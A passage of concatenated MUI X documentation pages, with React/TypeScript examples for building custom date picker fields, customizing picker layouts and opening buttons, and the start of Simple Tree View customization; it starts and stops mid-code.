import useForkRef from '@mui/utils/useForkRef';
import Button from '@mui/material/Button';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import {
  DateRangePicker,
  DateRangePickerProps,
  DateRangePickerFieldProps,
} from '@mui/x-date-pickers-pro/DateRangePicker';
import { useValidation } from '@mui/x-date-pickers/validation';
import { validateDateRange } from '@mui/x-date-pickers-pro/validation';
import {
  useSplitFieldProps,
  useParsedFormat,
  usePickerContext,
} from '@mui/x-date-pickers/hooks';

function ButtonDateRangeField(props: DateRangePickerFieldProps) {
  const { internalProps, forwardedProps } = useSplitFieldProps(props, 'date');

  const pickerContext = usePickerContext();
  const handleRef = useForkRef(pickerContext.triggerRef, pickerContext.rootRef);
  const parsedFormat = useParsedFormat();
  const { hasValidationError } = useValidation({
    validator: validateDateRange,
    value: pickerContext.value,
    timezone: pickerContext.timezone,
    props: internalProps,
  });

  const formattedValue = pickerContext.value
    .map((date: Dayjs) =>
      date == null ? parsedFormat : date.format(pickerContext.fieldFormat),
    )
    .join(' – ');

  return (
    <Button
      {...forwardedProps}
      variant="outlined"
      color={hasValidationError ? 'error' : 'primary'}
      ref={handleRef}
      className={pickerContext.rootClassName}
      sx={pickerContext.rootSx}
      onClick={() => pickerContext.setOpen((prev) => !prev)}
    >
      {pickerContext.label
        ? `${pickerContext.label}: ${formattedValue}`
        : formattedValue}
    </Button>
  );
}

// TODO v8: Will be removed before the end of the alpha since single input will become the default field.
ButtonDateRangeField.fieldType = 'single-input';

function ButtonFieldDateRangePicker(props: DateRangePickerProps) {
  return (
    <DateRangePicker
      {...props}
      slots={{ ...props.slots, field: ButtonDateRangeField }}
    />
  );
}

export default function MaterialDateRangePicker() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <ButtonFieldDateRangePicker />
    </LocalizationProvider>
  );
}

```

## Build your own custom field

:::success
The sections below show how to build a field for your Picker.
Unlike the field components exposed by `@mui/x-date-pickers` and `@mui/x-date-pickers-pro`, those fields are not suitable for a standalone usage.
:::

### Typing

Each Picker component exposes an interface describing the props it passes to its field.
You can import it from the same endpoint as the Picker component and use it to type the props of your field:

```ts
import { DatePickerFieldProps } from '@mui/x-date-pickers/DatePicker';
import { DateRangePickerFieldProps } from '@mui/x-date-pickers-pro/DateRangePicker';

function CustomDateField(props: DatePickerFieldProps) {
  // Your custom field
}

function CustomDateRangeField(props: DateRangePickerFieldProps) {
  // Your custom field
}
```

#### Import

|       Picker component | Field props interface           |
| ---------------------: | :------------------------------ |
|            Date Picker | `DatePickerFieldProps`          |
|            Time Picker | `TimePickerFieldProps`          |
|       Date Time Picker | `DateTimePickerFieldProps`      |
|      Date Range Picker | `DateRangePickerFieldProps`     |
| Date Time Range Picker | `DateTimeRangePickerFieldProps` |

### Validation

You can use the `useValidation` hook to check if the current value passed to your field is valid or not:

```js
import { useValidation, validateDate } from '@mui/x-date-pickers/validation';

const {
  // The error associated with the current value.
  // For example: "minDate" if `props.value < props.minDate`.
  validationError,
  // `true` if the value is invalid.
  // On range Pickers it is true if the start date or the end date is invalid.
  hasValidationError,
  // Imperatively get the error of a value.
  getValidationErrorForNewValue,
} = useValidation({
  // If you have a value in an internal state, you should pass it here.
  // Otherwise, you can pass the value returned by `usePickerContext()`.
  value,
  timezone,
  props,
  validator: validateDate,
});
```

#### Import

Each Picker component has a validator adapted to its value type:

|       Picker component | Import validator                                                             |
| ---------------------: | :--------------------------------------------------------------------------- |
|            Date Picker | `import { validateDate } from '@mui/x-date-pickers/validation'`              |
|            Time Picker | `import { validateTime } from '@mui/x-date-pickers/validation'`              |
|       Date Time Picker | `import { validateDateTime } from '@mui/x-date-pickers/validation'`          |
|      Date Range Picker | `import { validateDateRange } from '@mui/x-date-pickers-pro/validation'`     |
| Date Time Range Picker | `import { validateDateTimeRange } from '@mui/x-date-pickers-pro/validation'` |

### Localized placeholder

You can use the `useParsedFormat` to get a clean placeholder.
This hook applies two main transformations on the format:

1. It replaces all the localized tokens (for example `L` for a date with `dayjs`) with their expanded value (`DD/MM/YYYY` for the same date with `dayjs`).
2. It replaces each token with its token from the localization object (for example `YYYY` remains `YYYY` for the English locale but becomes `AAAA` for the French locale).

:::warning
The format returned by `useParsedFormat` cannot be parsed by your date library.
:::

```js
import { useParsedFormat } from '@mui/x-date-pickers/hooks';

// Uses the format defined by your Picker
const parsedFormat = useParsedFormat();

// Uses the custom format provided
const parsedFormat = useParsedFormat({ format: 'MM/DD/YYYY' });
```

### Props forwarded by the picker

The picker can receive some commonly used props that should be forwarded to the field DOM elements:

```jsx
<DatePicker label="Birth date" name="birthdate" className="date-picker" sx={{ borderColor: 'red'}}>
```

If you are using any of those props in one of your pickers, make sure to retrieve them in your field using the `usePickerContext` hook:

```jsx
const { label, name, rootClassName, rootSx, rootRef } = usePickerContext();

return (
  <TextField
    label={label}
    name={name}
    className={rootClassName}
    sx={rootSx}
    ref={rootRef}
  />
);
```

### Spread props to the DOM

The field receives a lot of props that cannot be forwarded to the DOM element without warnings.
You can use the `useSplitFieldProps` hook to get the props that can be forwarded safely to the DOM:

```jsx
const { internalProps, forwardedProps } = useSplitFieldProps(
  // The props received by the field component
  props,
  // The value type ("date", "time" or "date-time")
  'date',
);

return <TextField {...forwardedProps}>;
```

### Pass the field to the Picker

You can pass your custom field to your Picker using the `field` slot:

```jsx
function DatePickerWithCustomField() {
  return <DatePicker slots={{ field: CustomDateField }}>;
}

// Also works with the other variants of the component
function DesktopDatePickerWithCustomField() {
  return <DesktopDatePicker slots={{ field: CustomDateField }}>
}
```

### Full custom example

Here is a live demo of the example created in all the previous sections:

```tsx
import * as React from 'react';
import dayjs, { Dayjs } from 'dayjs';
import TextField from '@mui/material/TextField';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import {
  DatePicker,
  DatePickerProps,
  DatePickerFieldProps,
} from '@mui/x-date-pickers/DatePicker';
import {
  useSplitFieldProps,
  useParsedFormat,
  usePickerContext,
} from '@mui/x-date-pickers/hooks';
import { useValidation, validateDate } from '@mui/x-date-pickers/validation';

function CustomDateField(props: DatePickerFieldProps) {
  const { internalProps, forwardedProps } = useSplitFieldProps(props, 'date');

  const pickerContext = usePickerContext();
  const placeholder = useParsedFormat();
  const [inputValue, setInputValue] = useInputValue();

  // Check if the current value is valid or not.
  const { hasValidationError } = useValidation({
    value: pickerContext.value,
    timezone: pickerContext.timezone,
    props: internalProps,
    validator: validateDate,
  });

  const handleChange = (event: React.ChangeEvent<HTMLInputElement>) => {
    const newInputValue = event.target.value;
    const newValue = dayjs(newInputValue, pickerContext.fieldFormat);
    setInputValue(newInputValue);
    pickerContext.setValue(newValue);
  };

  return (
    <TextField
      {...forwardedProps}
      placeholder={placeholder}
      value={inputValue}
      onChange={handleChange}
      error={hasValidationError}
      focused={pickerContext.open}
      label={pickerContext.label}
      name={pickerContext.name}
      className={pickerContext.rootClassName}
      sx={pickerContext.rootSx}
      ref={pickerContext.rootRef}
    />
  );
}

function useInputValue() {
  const pickerContext = usePickerContext();
  const [lastValueProp, setLastValueProp] = React.useState(pickerContext.value);
  const [inputValue, setInputValue] = React.useState(() =>
    createInputValue(pickerContext.value, pickerContext.fieldFormat),
  );

  if (lastValueProp !== pickerContext.value) {
    setLastValueProp(pickerContext.value);
    if (pickerContext.value && pickerContext.value.isValid()) {
      setInputValue(
        createInputValue(pickerContext.value, pickerContext.fieldFormat),
      );
    }
  }

  return [inputValue, setInputValue] as const;
}

function createInputValue(value: Dayjs | null, format: string) {
  if (value == null) {
    return '';
  }

  return value.isValid() ? value.format(format) : '';
}

function CustomFieldDatePicker(props: DatePickerProps) {
  return (
    <DatePicker slots={{ ...props.slots, field: CustomDateField }} {...props} />
  );
}

export default function MaterialDatePicker() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <CustomFieldDatePicker />
    </LocalizationProvider>
  );
}

```

---

# Source: https://mui.com/x/react-date-pickers/custom-layout.md

---
productId: x-date-pickers
title: Date and Time Pickers - Custom layout
components: PickersActionBar, PickersLayout
githubLabel: 'scope: pickers'
packageName: '@mui/x-date-pickers'
---

# Custom layout

The Date and Time Pickers let you reorganize the layout.

:::success
See [Common concepts—Slots and subcomponents](/x/common-concepts/custom-components/) to learn how to use slots.
:::

## Default layout structure

By default, pickers are made of five subcomponents present in the following order:

- The **toolbar** displays the selected date. Can be enforced with `slotProps: { toolbar: { hidden: false } }` prop.
- The **shortcuts** let users quickly select some values. Can be added with [`slotProps.shortcuts`](/x/react-date-pickers/shortcuts/#adding-shortcuts)
- The **content** displays the current view. Can be a calendar, or a clock.
- The **tabs** let users switch between day and time views in Date Time Pickers. Can be enforced with `slotProps: { tabs: { hidden: false } }` prop.
- The **action bar** lets users perform some interactions. Can be added with [`slotProps.actionBar`](/x/react-date-pickers/custom-components/#action-bar) prop.

By default the `content` and `tabs` are wrapped together in a `contentWrapper` to simplify the layout.

You can [customize those components](/x/react-date-pickers/custom-components/) individually by using `slots` and `slotProps`.

## Orientation

Toggling layout can be achieved by changing `orientation` prop value between `'portrait'` or `'landscape'`.

Here is a demonstration with the 3 main blocks outlined with color borders.

```jsx
import * as React from 'react';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import ToggleButton from '@mui/material/ToggleButton';
import ToggleButtonGroup from '@mui/material/ToggleButtonGroup';
import Box from '@mui/material/Box';
import Stack from '@mui/material/Stack';
import Divider from '@mui/material/Divider';
import { StaticDatePicker } from '@mui/x-date-pickers/StaticDatePicker';
import { StaticTimePicker } from '@mui/x-date-pickers/StaticTimePicker';
import { StaticDateTimePicker } from '@mui/x-date-pickers/StaticDateTimePicker';
import { useTheme } from '@mui/material/styles';
import useMediaQuery from '@mui/material/useMediaQuery';
import { pickersLayoutClasses } from '@mui/x-date-pickers/PickersLayout';

const highlighLayout = {
  sx: {
    [`& .${pickersLayoutClasses.toolbar}`]: {
      border: 'solid red 4px',
    },
    [`& .${pickersLayoutClasses.contentWrapper}`]: {
      border: 'solid green 4px',
    },
    [`& .${pickersLayoutClasses.actionBar}`]: {
      border: 'solid blue 4px',
    },
  },
};

export default function LayoutBlocks() {
  const theme = useTheme();
  const isDesktop = useMediaQuery(theme.breakpoints.up('md'));
  const [currentComponent, setCurrentComponent] = React.useState('date');
  const [orientation, setOrientation] = React.useState('portrait');

  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <Box
        sx={{
          flexGrow: 1,
          width: '100%',
          display: 'flex',
          flexDirection: { xs: 'column', md: 'row' },
        }}
      >
        <Box
          sx={{
            flexShrink: 0,
            px: 3,
            pb: 2,
            minWidth: '150px',
          }}
        >
          <Stack spacing={2} alignItems="center" direction="column">
            <ToggleButtonGroup
              size="small"
              fullWidth
              color="primary"
              value={currentComponent}
              orientation={isDesktop ? 'vertical' : 'horizontal'}
              onChange={(event, value) => {
                if (value !== null) {
                  setCurrentComponent(value);
                }
              }}
              exclusive
            >
              <ToggleButton value={'date'}>date picker</ToggleButton>
              <ToggleButton value={'time'}>time picker</ToggleButton>
              <ToggleButton value={'date-time'}>date time picker</ToggleButton>
            </ToggleButtonGroup>

            <ToggleButtonGroup
              size="small"
              fullWidth
              color="primary"
              value={orientation}
              orientation={isDesktop ? 'vertical' : 'horizontal'}
              onChange={(event, value) => {
                if (value !== null) {
                  setOrientation(value);
                }
              }}
              exclusive
            >
              <ToggleButton value={'landscape'}>landscape</ToggleButton>
              <ToggleButton value={'portrait'}>portrait</ToggleButton>
            </ToggleButtonGroup>
          </Stack>
        </Box>
        <Divider orientation={isDesktop ? 'vertical' : 'horizontal'} />
        <Box
          sx={{
            display: 'flex',
            flexDirection: 'column',
            flexGrow: 999,
            minWidth: 0,
            p: 3,
          }}
        >
          <Box sx={{ margin: 'auto' }}>
            {currentComponent === 'date' && (
              <StaticDatePicker
                orientation={orientation}
                slotProps={{
                  layout: highlighLayout,
                }}
              />
            )}

            {currentComponent === 'time' && (
              <Box sx={{ position: 'relative' }}>
                <StaticTimePicker
                  orientation={orientation}
                  slotProps={{
                    layout: highlighLayout,
                  }}
                />
              </Box>
            )}

            {currentComponent === 'date-time' && (
              <StaticDateTimePicker
                orientation={orientation}
                slotProps={{
                  layout: highlighLayout,
                }}
              />
            )}
          </Box>
        </Box>
      </Box>
    </LocalizationProvider>
  );
}

```

## Layout structure

A `<PickersLayoutRoot />` wraps all the subcomponents to provide the structure.
By default it renders a `div` with `display: grid`.
Such that all subcomponents are placed in a 3 by 3 [CSS grid](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_grid_layout).

```jsx
<PickersLayoutRoot>
  {toolbar}
  {shortcuts}
  <PickersLayoutContentWrapper>
    {tabs}
    {content}
  </PickersLayoutContentWrapper>
  {actionBar}
</PickersLayoutRoot>
```

## CSS customization

To move an element, you can override its position in the layout with [`gridColumn`](https://developer.mozilla.org/en-US/docs/Web/CSS/Reference/Properties/grid-column) and [`gridRow`](https://developer.mozilla.org/en-US/docs/Web/CSS/Reference/Properties/grid-row) properties.

In the next example, the action bar is replaced by a list and then placed on the left side of the content.
It's achieved by applying the `{ gridColumn: 1, gridRow: 2 }` style.

:::warning
If you are using custom components, you should pay attention to `className`.
To make CSS selectors work, you can either propagate `className` to the root element like in the demo, or use your own CSS class.
:::

```tsx
import List from '@mui/material/List';
import ListItem from '@mui/material/ListItem';
import ListItemButton from '@mui/material/ListItemButton';
import ListItemText from '@mui/material/ListItemText';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { pickersLayoutClasses } from '@mui/x-date-pickers/PickersLayout';
import { StaticDatePicker } from '@mui/x-date-pickers/StaticDatePicker';
import { PickersActionBarProps } from '@mui/x-date-pickers/PickersActionBar';
import { usePickerActionsContext } from '@mui/x-date-pickers/hooks';

function ActionList(props: PickersActionBarProps) {
  const { className } = props;
  const { clearValue, setValueToToday, acceptValueChanges, cancelValueChanges } =
    usePickerActionsContext();

  const actions = [
    { text: 'Accept', method: acceptValueChanges },
    { text: 'Clear', method: clearValue },
    { text: 'Cancel', method: cancelValueChanges },
    { text: 'Today', method: setValueToToday },
  ];

  return (
    // Propagate the className such that CSS selectors can be applied
    <List className={className}>
      {actions.map(({ text, method }) => (
        <ListItem key={text} disablePadding>
          <ListItemButton onClick={method}>
            <ListItemText primary={text} />
          </ListItemButton>
        </ListItem>
      ))}
    </List>
  );
}

export default function MovingActions() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <StaticDatePicker
        slotProps={{
          layout: {
            sx: {
              [`.${pickersLayoutClasses.actionBar}`]: {
                gridColumn: 1,
                gridRow: 2,
              },
            },
          },
        }}
        slots={{
          actionBar: ActionList,
        }}
      />
    </LocalizationProvider>
  );
}

```

## DOM customization

It's important to note that by modifying the layout with CSS, the new positions can lead to inconsistencies between the visual render and the DOM structure.
In the previous demonstration, the tab order is broken because the action bar appears before the calendar, whereas in the DOM the action bar is still after.

To modify the DOM structure, you can create a custom `Layout` wrapper.
Use the `usePickerLayout` hook to get the subcomponents React nodes.
Then you can fully customize the DOM structure.

```jsx
import {
  usePickerLayout,
  PickersLayoutRoot,
  pickersLayoutClasses,
  PickersLayoutContentWrapper,
} from '@mui/x-date-pickers/PickersLayout';

function MyCustomLayout(props) {
  const { toolbar, tabs, content, actionBar, ownerState } = usePickerLayout(props);

  // Put the action bar before the content
  return (
    <PickersLayoutRoot className={pickersLayoutClasses.root} ownerState={ownerState}>
      {toolbar}
      {actionBar}
      <PickersLayoutContentWrapper
        className={pickersLayoutClasses.contentWrapper}
        ownerState={ownerState}
      >
        {tabs}
        {content}
      </PickersLayoutContentWrapper>
    </PickersLayoutRoot>
  );
}
```

:::info
This slot can also be used to add additional information in the layout.
:::

Here is the complete example with a fix for the tabulation order and an external element added to the layout.
Notice the use of `pickersLayoutClasses`, `PickersLayoutRoot`, and `PickersLayoutContentWrapper` to avoid rewriting the default CSS.

```tsx
import { Dayjs } from 'dayjs';
import Box from '@mui/material/Box';
import List from '@mui/material/List';
import ListItem from '@mui/material/ListItem';
import ListItemButton from '@mui/material/ListItemButton';
import ListItemText from '@mui/material/ListItemText';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { StaticDatePicker } from '@mui/x-date-pickers/StaticDatePicker';
import RestaurantIcon from '@mui/icons-material/Restaurant';
import {
  PickersLayoutProps,
  usePickerLayout,
  pickersLayoutClasses,
  PickersLayoutRoot,
  PickersLayoutContentWrapper,
} from '@mui/x-date-pickers/PickersLayout';
import { PickersActionBarProps } from '@mui/x-date-pickers/PickersActionBar';
import { usePickerActionsContext } from '@mui/x-date-pickers/hooks';

function ActionList(props: PickersActionBarProps) {
  const { className } = props;
  const { clearValue, setValueToToday, acceptValueChanges, cancelValueChanges } =
    usePickerActionsContext();

  const actions = [
    { text: 'Accept', method: acceptValueChanges },
    { text: 'Clear', method: clearValue },
    { text: 'Cancel', method: cancelValueChanges },
    { text: 'Today', method: setValueToToday },
  ];

  return (
    <List className={className}>
      {actions.map(({ text, method }) => (
        <ListItem key={text} disablePadding>
          <ListItemButton onClick={method}>
            <ListItemText primary={text} />
          </ListItemButton>
        </ListItem>
      ))}
    </List>
  );
}

function RestaurantHeader() {
  return (
    <Box
      sx={{
        // Place the element in the grid layout
        gridColumn: 1,
        gridRow: 1,
        // Center the icon
        display: 'flex',
        justifyContent: 'center',
        alignItems: 'center',
      }}
    >
      <RestaurantIcon />
    </Box>
  );
}

function CustomLayout(props: PickersLayoutProps<Dayjs | null>) {
  const { toolbar, tabs, content, actionBar, ownerState } = usePickerLayout(props);

  return (
    <PickersLayoutRoot
      ownerState={ownerState}
      sx={{
        overflow: 'auto',
        [`.${pickersLayoutClasses.actionBar}`]: {
          gridColumn: 1,
          gridRow: 2,
        },
        [`.${pickersLayoutClasses.toolbar}`]: {
          gridColumn: 2,
          gridRow: 1,
        },
      }}
    >
      <RestaurantHeader />
      {toolbar}
      {actionBar}
      <PickersLayoutContentWrapper
        className={pickersLayoutClasses.contentWrapper}
        ownerState={ownerState}
      >
        {tabs}
        {content}
      </PickersLayoutContentWrapper>
    </PickersLayoutRoot>
  );
}
export default function AddComponent() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <StaticDatePicker
        slots={{
          layout: CustomLayout,
          actionBar: ActionList,
        }}
      />
    </LocalizationProvider>
  );
}

```

---

# Source: https://mui.com/x/react-date-pickers/custom-opening-button.md

---
productId: x-date-pickers
title: Date and Time Pickers - Custom opening button
---

# Custom opening button

The date picker lets you customize the button to open the views.

:::success
See [Common concepts—Slots and subcomponents](/x/common-concepts/custom-components/) to learn how to use slots.
:::

## Set a custom opening icon

If you want to change the icon opening the picker without changing its behavior, you can use the `openPickerIcon` slot:

```tsx
import { createSvgIcon } from '@mui/material/utils';
import FlightTakeoffIcon from '@mui/icons-material/FlightTakeoff';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { DemoContainer } from '@mui/x-date-pickers/internals/demo';
import { DatePicker } from '@mui/x-date-pickers/DatePicker';

const FlightLandIcon = createSvgIcon(
  <path d="M2.5 19h19v2h-19v-2zm16.84-3.15c.8.21 1.62-.26 1.84-1.06.21-.8-.26-1.62-1.06-1.84l-5.31-1.42-2.76-9.02L10.12 2v8.28L5.15 8.95l-.93-2.32-1.45-.39v5.17l16.57 4.44z" />,
  'FlightLandIcon',
);

function MuiIcon() {
  return <img src="/static/logo.svg" alt="Date picker opening icon" width={32} />;
}

export default function CustomOpeningIcon() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer components={['DatePicker', 'DatePicker', 'DatePicker']}>
        <DatePicker
          label="Departure"
          // Using an SVG component from `@mui/icons-material`
          slots={{ openPickerIcon: FlightTakeoffIcon }}
        />
        <DatePicker
          label="Arrival"
          // Using a custom SVG component
          slots={{ openPickerIcon: FlightLandIcon }}
        />
        <DatePicker
          label="New release date"
          // Using an img component
          slots={{ openPickerIcon: MuiIcon }}
        />
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

You can also change the icon rendered based on the current status of the picker:

```tsx
import * as React from 'react';
import { Dayjs } from 'dayjs';
import PriorityHighIcon from '@mui/icons-material/PriorityHigh';
import CheckIcon from '@mui/icons-material/Check';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { DemoContainer } from '@mui/x-date-pickers/internals/demo';
import { DatePicker } from '@mui/x-date-pickers/DatePicker';

export default function CustomOpeningIconConditional() {
  const [value, setValue] = React.useState<Dayjs | null>(null);

  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer components={['DatePicker']}>
        <DatePicker
          value={value}
          onChange={setValue}
          slots={{
            openPickerIcon:
              value == null || !value.isValid() ? PriorityHighIcon : CheckIcon,
          }}
        />
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

## Pass props to the opening button

If you want to customize the opening button without redefining its whole behavior, you can use either:

- the `openPickerButton` slot to target the [`IconButton`](/material-ui/api/icon-button/) component.
- the `inputAdornment` slot to target the [`InputAdornment`](/material-ui/api/input-adornment/) component.

```tsx
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { DemoContainer } from '@mui/x-date-pickers/internals/demo';
import { DatePicker } from '@mui/x-date-pickers/DatePicker';

export default function CustomPropsOpeningButton() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer components={['DatePicker']}>
        <DatePicker
          slotProps={{
            // Targets the `IconButton` component.
            openPickerButton: {
              color: 'primary',
            },
            // Targets the `InputAdornment` component.
            inputAdornment: {
              component: 'span',
            },
          }}
        />
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

:::warning
If you want to track the opening of the picker, you should use the `onOpen` / `onClose` callbacks instead of modifying the opening button:

```tsx
<DatePicker onOpen={handleOpen} onClose={handleClose} />
```

:::

## Render the opening button at the start of the input

You can use the `openPickerButtonPosition` on the `field` slot to position the opening button at the start or the end of the input:

```tsx
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { DemoContainer } from '@mui/x-date-pickers/internals/demo';
import { DatePicker } from '@mui/x-date-pickers/DatePicker';

export default function StartEdgeOpeningButton() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer components={['DatePicker']}>
        <DatePicker
          slotProps={{
            field: { openPickerButtonPosition: 'start' },
          }}
        />
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

## Add an icon next to the opening button

If you want to add an icon next to the opening button, you can use the `inputAdornment` slot.
In the example below, the warning icon will be visible anytime the current value is invalid:

```tsx
import * as React from 'react';
import dayjs from 'dayjs';
import InputAdornment, { InputAdornmentProps } from '@mui/material/InputAdornment';
import PriorityHighIcon from '@mui/icons-material/PriorityHigh';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { DemoContainer } from '@mui/x-date-pickers/internals/demo';
import { DatePicker } from '@mui/x-date-pickers/DatePicker';
import { DateValidationError } from '@mui/x-date-pickers/models';

function CustomInputAdornment(props: InputAdornmentProps & { hasError?: boolean }) {
  const { hasError, children, sx, ...other } = props;
  return (
    <InputAdornment {...other}>
      <PriorityHighIcon
        color="error"
        sx={[
          {
            marginLeft: 1,
          },
          hasError
            ? {
                opacity: 1,
              }
            : {
                opacity: 0,
              },
        ]}
      />
      {children}
    </InputAdornment>
  );
}

export default function AddWarningIconWhenInvalid() {
  const [error, setError] = React.useState<DateValidationError>(null);

  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer components={['DatePicker']}>
        <DatePicker
          label="Picker with error icon"
          maxDate={dayjs('2022-04-17')}
          defaultValue={dayjs('2022-04-18')}
          onError={setError}
          slots={{ inputAdornment: CustomInputAdornment }}
          slotProps={{
            inputAdornment: { hasError: !!error } as any,
          }}
        />
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

To add the same behavior to a picker that does not have an input adornment (for example, a Date Range Picker when used with a multi-input field),
you need to use the `textField` slot to add one:

```tsx
import * as React from 'react';
import dayjs from 'dayjs';
import InputAdornment, { InputAdornmentProps } from '@mui/material/InputAdornment';
import PriorityHighIcon from '@mui/icons-material/PriorityHigh';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { DemoContainer } from '@mui/x-date-pickers/internals/demo';
import { DateRangePicker } from '@mui/x-date-pickers-pro/DateRangePicker';
import { DateRangeValidationError } from '@mui/x-date-pickers-pro/models';
import { MultiInputDateRangeField } from '@mui/x-date-pickers-pro/MultiInputDateRangeField';
import { FieldOwnerState } from '@mui/x-date-pickers/models';

function CustomInputAdornment(props: InputAdornmentProps & { hasError?: boolean }) {
  const { hasError, children, sx, ...other } = props;
  return (
    <InputAdornment {...other}>
      <PriorityHighIcon
        color="error"
        sx={[
          hasError
            ? {
                opacity: 1,
              }
            : {
                opacity: 0,
              },
        ]}
      />
      {children}
    </InputAdornment>
  );
}

export default function AddWarningIconWhenInvalidRange() {
  const [error, setError] = React.useState<DateRangeValidationError>([null, null]);

  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer components={['DateRangePicker']}>
        <DateRangePicker
          label="Picker with error icon"
          maxDate={dayjs('2022-04-19')}
          defaultValue={[dayjs('2022-04-18'), dayjs('2022-04-21')]}
          onError={setError}
          slots={{ field: MultiInputDateRangeField }}
          slotProps={{
            textField: ({
              position,
            }: FieldOwnerState & { position?: 'start' | 'end' }) => ({
              InputProps: {
                endAdornment: (
                  <CustomInputAdornment
                    position="end"
                    hasError={!!error[position === 'start' ? 0 : 1]}
                  />
                ),
              },
            }),
          }}
        />
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

---

# Source: https://mui.com/x/react-data-grid/filtering/customization.md

# Source: https://mui.com/x/react-tree-view/rich-tree-view/customization.md

# Source: https://mui.com/x/react-tree-view/simple-tree-view/customization.md

---
productId: x-tree-view
title: Simple Tree View - Customization
components: SimpleTreeView, TreeItem
packageName: '@mui/x-tree-view'
githubLabel: 'scope: tree view'
waiAria: https://www.w3.org/WAI/ARIA/apg/patterns/treeview/
---

# Simple Tree View - Customization

Learn how to customize the Simple Tree View component.

:::success
See [Common concepts—Slots and subcomponents](/x/common-concepts/custom-components/) to learn how to use slots.
:::

## Basics

### Custom icons

Use the `collapseIcon` slot, the `expandIcon` slot and the `defaultEndIcon` prop to customize `SimpleTreeView` icons.
The demo below shows how to add icons using both an existing icon library, such as [Material Icons](/material-ui/material-icons/), and creating an icon from scratch using Material UI's [`SvgIcon`](/material-ui/icons/#svgicon).

```tsx
import Box from '@mui/material/Box';
import AddBoxIcon from '@mui/icons-material/AddBox';
import IndeterminateCheckBoxIcon from '@mui/icons-material/IndeterminateCheckBox';
import SvgIcon, { SvgIconProps } from '@mui/material/SvgIcon';
import { styled } from '@mui/material/styles';
import { SimpleTreeView } from '@mui/x-tree-view/SimpleTreeView';
import { TreeItem, treeItemClasses } from '@mui/x-tree-view/TreeItem';

const CustomTreeItem = styled(TreeItem)({
  [`& .${treeItemClasses.iconContainer}`]: {
    '& .close': {
      opacity: 0.3,
    },
  },
});

function CloseSquare(props: SvgIconProps) {
  return (
    <SvgIcon
      className="close"
      fontSize="inherit"
      style={{ width: 14, height: 14 }}
      {...props}
    >
      {/* tslint:disable-next-line: max-line-length */}
      <path d="M17.485 17.512q-.281.281-.682.281t-.696-.268l-4.12-4.147-4.12 4.147q-.294.268-.696.268t-.682-.281-.281-.682.294-.669l4.12-4.147-4.12-4.147q-.294-.268-.294-.669t.281-.682.682-.281.696 .268l4.12 4.147 4.12-4.147q.294-.268.696-.268t.682.281 .281.669-.294.682l-4.12 4.147 4.12 4.147q.294.268 .294.669t-.281.682zM22.047 22.074v0 0-20.147 0h-20.12v0 20.147 0h20.12zM22.047 24h-20.12q-.803 0-1.365-.562t-.562-1.365v-20.147q0-.776.562-1.351t1.365-.575h20.147q.776 0 1.351.575t.575 1.351v20.147q0 .803-.575 1.365t-1.378.562v0z" />
    </SvgIcon>
  );
}

export default function CustomIcons() {
  return (
    <Box sx={{ minHeight: 352, minWidth: 250 }}>
      <SimpleTreeView
        defaultExpandedItems={['grid']}
        slots={{
          expandIcon: AddBoxIcon,
          collapseIcon: IndeterminateCheckBoxIcon,
          endIcon: CloseSquare,
        }}
      >
        <CustomTreeItem itemId="grid" label="Data Grid">
          <CustomTreeItem itemId="grid-community" label="@mui/x-data-grid" />
          <CustomTreeItem itemId="grid-pro" label="@mui/x-data-grid-pro" />
          <CustomTreeItem itemId="grid-premium" label="@mui/x-data-grid-premium" />
        </CustomTreeItem>
        <CustomTreeItem itemId="pickers" label="Date and Time Pickers">
          <CustomTreeItem itemId="pickers-community" label="@mui/x-date-pickers" />
          <CustomTreeItem itemId="pickers-pro" label="@mui/x-date-pickers-pro" />
        </CustomTreeItem>
        <CustomTreeItem itemId="charts" label="Charts">
          <CustomTreeItem itemId="charts-community" label="@mui/x-charts" />
        </CustomTreeItem>
        <CustomTreeItem itemId="tree-view" label="Tree View">
